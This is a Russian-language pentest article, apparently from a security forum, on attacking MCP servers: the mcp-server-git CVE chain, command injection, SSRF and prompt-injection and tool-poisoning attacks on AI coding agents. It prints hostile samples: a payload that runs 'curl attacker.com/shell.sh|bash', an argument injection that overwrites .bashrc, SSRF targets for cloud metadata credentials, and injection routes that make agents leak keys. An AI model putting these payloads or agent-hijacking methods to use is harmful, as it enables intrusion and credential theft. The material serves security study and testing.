Статья Уязвимости MCP-серверов: RCE, SSRF и инъекции через один POST-запрос

Разобранный одноплатный компьютер на антистатическом мате под жёстким верхним светом. Руки в нитриловых перчатках держат щуп логического анализатора, на экране — искажённый зелёный текст с ошибкой...


За последние полгода на трёх внутренних пентестах подряд мы натыкались на MCP-серверы на хостах разработчиков: Cursor с подключённым aws-mcp-server, Claude Desktop с filesystem-сервером, кастомный MCP-прокси к внутреннему API. Ни один не был в скоупе. Ни один не проходил security review. При этом каждый имел прямой доступ к локальной файловой системе, переменным окружения и сетевым ресурсам. По данным Equixly, 43% протестированных MCP-серверов содержали command injection, 30% - SSRF, 22% - path traversal. Это не абстрактная «поверхность атаки» - это конкретные точки входа, которые разработчики ставят добровольно, а пентестеры пока не умеют системно находить и эксплуатировать.

Архитектура MCP с точки зрения атакующего​

MCP работает по клиент-серверной модели поверх JSON-RPC. Хост (Claude Desktop, Cursor, Windsurf) содержит MCP-клиент, который общается с одним или несколькими MCP-серверами. Транспорт - либо stdio (сервер запускается как дочерний процесс хоста), либо Streamable HTTP (замена HTTP+SSE с марта 2025). Сервер отдаёт три типа capabilities: Tools (функции, вызываемые LLM), Resources (данные для контекста модели), Prompts (шаблоны запросов).

Что критично при оценке attack surface:
  • Аутентификация опциональна. Спецификация предлагает OAuth 2.0, но на практике большинство серверов запускаются вообще без авторизации. В спецификации протокола написано: «реализации ДОЛЖНЫ тщательно проверять все входные и выходные данные». По документам - должны. На практике проверки полностью переложены на разработчика, а подтвердить их наличие извне нельзя.
  • Session ID в HTTP-заголовке Mcp-Session-Id - перехват сессии возможен при доступе к трафику.
  • Валидация tool-параметров отсутствует на уровне протокола. Каждый разработчик реализует (или не реализует) её самостоятельно.
  • MCP-сервер можно вызвать напрямую - без LLM. Кто добрался до эндпоинта, шлёт JSON-RPC-запросы к tools без «плана» и «подтверждения», которые показывает LLM-клиент. По данным Equixly, эту расширенную attack surface разработчики обычно не учитывают.
По сути MCP-сервер - неаутентифицированный API с доступом к файловой системе, сети и shell-командам хоста. Звучит как мечта пентестера, и это не преувеличение.

Место атак на MCP-серверы в kill chain​

MCP-серверы встраиваются в несколько этапов цепочки атаки:

Initial Access (T1190 - Exploit Public-Facing Application). Удалённый MCP-сервер на Streamable HTTP без аутентификации - прямой initial access. Если сервер слушает на 0.0.0.0 или доступен через reverse proxy, атакующий отправляет JSON-RPC POST-запрос напрямую.

Execution (T1059 - Command and Scripting Interpreter). Большинство MCP-серверов под капотом дёргают shell-команды или интерпретаторы Python/Node.js. Command injection через tool parameters - прямой путь к выполнению произвольного кода.

Credential Access (T1552 - Unsecured Credentials). MCP-серверы часто имеют доступ к .env-файлам, SSH-ключам, API-токенам - через файловую систему или переменные окружения процесса. PoC от Kaspersky GERT (описан в разделе про supply chain) продемонстрировал сбор учётных данных через tool-вызовы.

Collection (T1005 - Data from Local System). Tool-вызовы с path traversal позволяют читать произвольные файлы. На машине разработчика это исходники, конфиги CI/CD, приватные ключи.

Command and Control (T1071.001 - Web Protocols). Вредоносный MCP-сервер использует HTTP POST для эксфильтрации данных, маскируясь под легитимный API-трафик.

Где это работает: перечисленные TTPs актуальны для внутреннего пентеста и red team - при доступе к сегменту разработчиков. На внешнем периметре MCP-серверы встречаются редко, но Streamable HTTP транспорт постепенно меняет картину. Grey box сценарий (есть доступ к сети разработки, нет учётных данных на конкретных хостах) - наиболее реалистичный контекст для атак на MCP.

Три CVE в mcp-server-git: path traversal и argument injection​

В официальном MCP-сервере для Git (mcp-server-git, проект lfprojects/Model Context Protocol Servers) нашли три уязвимости. Каждая - CVSS 6.3–6.5 (MEDIUM) по вектору CVSS 4.0, но в цепочке с prompt injection импакт кратно возрастает.

CVE-2025-68145: обход ограничения репозитория (CWE-22)​

CVSS 6.4 (MEDIUM). Вектор: AV:N/AC:L/AT:N/PR:N/UI:P. При запуске mcp-server-git с флагом --repository (ограничивает операции конкретным путём) сервер не проверял, что параметр repo_path в tool-вызовах находится внутри заданного пути. Результат - операции с любыми репозиториями, доступными процессу сервера. Компонент UI:P в векторе означает необходимость действия пользователя, но при работе через LLM-клиент это одобрение tool-вызова - то самое нажатие «Разрешить», которое разработчик выполняет десятки раз в день на автопилоте.

Исправлено в версии 2025.12.17 - добавлена валидация с разрешением symlinks и проверкой вложенности.

CVE-2025-68143: неограниченный git_init (CWE-22)​

CVSS 6.5 (MEDIUM). Вектор: AV:N/AC:L/AT:N/PR:N/UI:P. Инструмент git_init принимал произвольные пути файловой системы и создавал Git-репозитории без валидации. В отличие от других tools, требовавших существующий репозиторий, git_init превращал любую директорию в git-репозиторий - открывая её для последующих git-операций: чтение файлов через git show, перезапись через git checkout.

Решение радикальное: инструмент git_init полностью удалён из сервера в версии 2025.9.25. Просто выпилили - и правильно.

CVE-2025-68144: argument injection в git_diff и git_checkout (CWE-88)​

CVSS 6.3 (MEDIUM). Функции git_diff и git_checkout передавали пользовательские аргументы напрямую в CLI-команды git без санитизации. Значения вида --output=/path/to/file для git_diff интерпретировались как опции командной строки, а не как git-ссылки - перезапись произвольных файлов.
Bash:
# CVE-2025-68144: argument injection в git_diff
# Tool call с вредоносным параметром:
# tool: git_diff, args: {"ref": "--output=/home/user/.bashrc"}
# Сервер выполняет: git diff --output=/home/user/.bashrc
# Результат: .bashrc перезаписан выводом diff → persistence
Исправление: аргументы, начинающиеся с -, отклоняются; добавлена проверка через rev_parse - валидация, что аргумент является корректной git-ссылкой.

Цепочка из трёх CVE: CVE-2025-68143 (создаём git-репозиторий в произвольной директории) → CVE-2025-68145 (обходим ограничение --repository) → CVE-2025-68144 (перезаписываем файлы через argument injection). Каждая уязвимость сама по себе MEDIUM. Вместе - полноценный RCE через модификацию конфигурационных файлов. Классический случай, когда три «шестёрки» по CVSS складываются в девятку.

Command Injection → RCE через tool-вызовы MCP

Паттерн command injection в MCP-серверах однообразен до скуки: tool принимает строковый параметр, передаёт его в shell без санитизации. По данным Snyk Labs, в aws-mcp-server (MCP-сервер для выполнения команд AWS CLI) функция execute_command проверяла только то, что команда начинается с aws и не обращается к определённым сервисам. Обход: aws -h;whoami - после флага -h shell интерпретирует ;whoami как отдельную команду.
Python:
# Типичный уязвимый паттерн в MCP-серверах
# (адаптировано из исследований Equixly и Snyk Labs)
@server.tool()
def execute_command(command: str) -> str:
    if not command.startswith("aws"):
        return "Only AWS commands allowed"
    # shell=True → command injection
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout.decode()
# Payload: "aws s3 ls;curl attacker.com/shell.sh|bash"
RCE через один POST-запрос - буквально. JSON-RPC body с вызовом tool и payload в параметре, отправленный на HTTP-эндпоинт MCP-сервера. Никакой аутентификации, никакого подтверждения - если сервер доступен по сети напрямую.

Где работает, а где нет:

УсловиеРаботаетНе работает
MCP-сервер на Streamable HTTP без authПрямой вызов через curl/Burp-
MCP-сервер на stdio-Только через LLM-клиент или доступ к хосту
os.system() / shell=True / child_process.exec()Command injection через ;,
Код:
\[/TD]
 [TD]
, &&
-
subprocess.run(shell=False) с массивом аргументов-Shell-метасимволы не интерпретируются
EDR с process tree analysis (CrowdStrike Falcon, SentinelOne, Elastic Endpoint 8.x+)-Детектирует нетипичный child-process от IDE
MCP-сервер штатно выполняет shell-командыЛегитимный и вредоносный вызов неразличимы по process tree-

SSRF уязвимости API: MCP как прокси во внутреннюю сеть​

30% MCP-серверов в исследовании Equixly содержали SSRF - сервер принимает URL через tool call и выполняет запрос без валидации. Это соответствует OWASP A10:2021 (Server-Side Request Forgery).

Типичный сценарий: MCP-сервер для «анализа веб-страниц», «работы с API» или «загрузки ресурсов» принимает URL в tool-параметре. Без проверки атакующий направляет запрос на внутренние ресурсы:
  • http://169.254.169.254/latest/meta-data/iam/security-credentials/ - IMDS AWS, получение IAM-ключей (T1552)
  • http://metadata.google.internal/computeMetadata/v1/ - GCP metadata endpoint
  • http://localhost:6379/INFO - Redis на localhost
  • file:///etc/passwd - чтение локальных файлов, если HTTP-клиент поддерживает file:// схему
В контексте MCP SSRF получает дополнительное измерение: результат запроса попадает в контекст LLM. Модель обрабатывает ответ, может вытащить из него ключи или токены и вывести пользователю - или передать в следующий tool-вызов для дальнейшей эксплуатации. Это не просто «сервер сходил по URL» - это цепочка server-side request forgery AI → data extraction → exfiltration через контекст модели.

Ограничения: на AWS с IMDSv2 (token-based) прямой SSRF к metadata endpoint требует предварительный PUT-запрос для получения токена. Многие SSRF через MCP ограничены GET-запросами - на IMDSv1 это не проблема, но v2 усложняет эксплуатацию. Внутренние сервисы за mTLS недоступны, если процесс MCP-сервера не имеет клиентского сертификата.

Prompt injection MCP: усилитель цепочки эксплуатации

Prompt injection (LLM01:2025 по OWASP GenAI Security Top 10) - не самостоятельная уязвимость MCP-сервера, а усилитель. Превращает локальную уязвимость в удалённо эксплуатируемую без прямого доступа к серверу.

Механизм по результатам исследования Snyk Labs: атакующий контролирует ресурс (файл в репозитории, веб-страницу, документ). Ресурс содержит скрытую инструкцию для LLM - например, base64-encoded payload в комментарии Python-файла. Разработчик открывает файл в Cursor через оператор @, LLM декодирует инструкцию и вызывает tool с вредоносными параметрами. Пользователь видит безобидный запрос вроде «list S3 buckets» и одобряет. Shell выполняет payload, спрятанный после легитимной команды.

Исследователи из Lakera показали вариант пострашнее - zero-click RCE через Google Docs MCP: атакующий через API расшаривает документ с injection-payload (получатель не уведомляется), Cursor подтягивает документ через MCP-tool при запросе пользователя, а вложенный Python-скрипт выполняется автоматически, потому что Python добавлен в allow-list Cursor. Consent fatigue делает своё дело: разработчики добавляют интерпретаторы в allow-list, чтобы не нажимать «Разрешить» сотни раз в день. Удобство побеждает безопасность - история стара как мир.

Исследование MCPLib (arxiv, 31 классифицированный тип атаки) выявило ключевой паттерн: MCP-агенты чрезмерно полагаются на текстовые описания tools при принятии решений. Вредоносный tool с правильно составленным описанием выбирается моделью в приоритете перед легитимным. Исследователи назвали это «blind obedience» - слепое послушание, связанное со свойством sycophancy LLM.

Ещё один вывод MCPLib: общий контекст MCP (shared context) не изолирован между tools. Атакующий, контролирующий один tool, может через контекст повлиять на поведение других - «infection attacks», когда уязвимость одного инструмента реплицируется в новые через context learning. Один заражённый tool - и весь MCP-сервер работает на атакующего.

Tool poisoning и supply chain: эксплуатация доверия к MCP​

Tool poisoning соотносится с OWASP A08:2021 (Software and Data Integrity Failures) и A06:2021 (Vulnerable and Outdated Components).

Подмена описания tool. Видимое описание - безобидное (add numbers), скрытый текст содержит инструкцию для LLM: прочитать SSH-ключи, передать содержимое .env-файла. Модель исполняет обе части, пользователь видит только первую.

Tool shadowing. В среде с несколькими MCP-серверами вредоносный сервер переопределяет tool, уже загруженный из легитимного. Клиент не уведомляет пользователя о подмене определения - новое описание копирует оригинал, но добавляет перенаправление данных атакующему.

Rug pull. MCP-сервер сначала работает легитимно, набирает доверие, затем получает обновление с бэкдором. При автообновлении в клиенте бэкдор активируется автоматически. Классическая история про лягушку в кипятке.

Supply chain через PyPI. PoC от Kaspersky GERT показал полную цепочку: вредоносный MCP-сервер публикуется в PyPI как инструмент для «анализа проектов», разработчик устанавливает через pip install и регистрирует в IDE. При первом вызове tool сервер собирает .env-файлы, SSH-ключи, переменные окружения и отправляет POST-запросом на контролируемый эндпоинт. Эксфильтрация маскировалась заголовками User-Agent: DevTools-Assistant/1.0.2 и Accept: application/vnd.github.v3+json - имитация трафика GitHub API. Обнаружен PoC был сетевым датчиком, зафиксировавшим HTTP POST к подозрительному домену. Без этого датчика - ушёл бы в тишину.

Когда и как атаковать MCP-серверы на пентесте​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

По данным Equixly, при уведомлении разработчиков MCP-серверов об уязвимостях 45% заявили, что риски «теоретические» или «допустимые», 25% не ответили вообще. Только 30% выпустили исправления. Красноречивый показатель зрелости - точнее, её отсутствия.

Три CVE в официальном mcp-server-git от Anthropic - path traversal и argument injection с CVSS 6.3–6.5 - на первый взгляд выглядят как средняя по больнице. Но сложите их в цепочку с prompt injection, добавьте consent fatigue разработчика и allow-list в IDE - средняя уязвимость превращается в zero-click RCE. Проблема MCP не в отдельных багах. Протокол проектировался для функциональности, безопасность добавляется задним числом: аутентификация опциональна, валидация на разработчике, контроль целостности сообщений отсутствует. Напоминает ранние REST API образца 2010 года - только с прямым доступом к файловой системе и shell хоста.

По моей оценке, в ближайший год MCP-серверы станут стандартной позицией в чеклисте внутреннего пентеста - как Jenkins и GitLab CI сейчас. Кто научится системно находить их на этапе recon и встраивать эксплуатацию MCP уязвимостей в цепочку от initial access до exfiltration, получит конкретное преимущество на проектах, где разработчики активно используют AI-ассистенты. А таких проектов с каждым кварталом всё больше. Попробуйте на ближайшем внутреннем пентесте добавить в recon поиск mcp-server-* процессов и .cursor/mcp.json - готов поспорить, что найдёте минимум один незащищённый сервер. На WAPT эту связку - от обнаружения MCP до эксплуатации цепочки - разбирают в модулях по атакам на инфраструктуру разработки.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab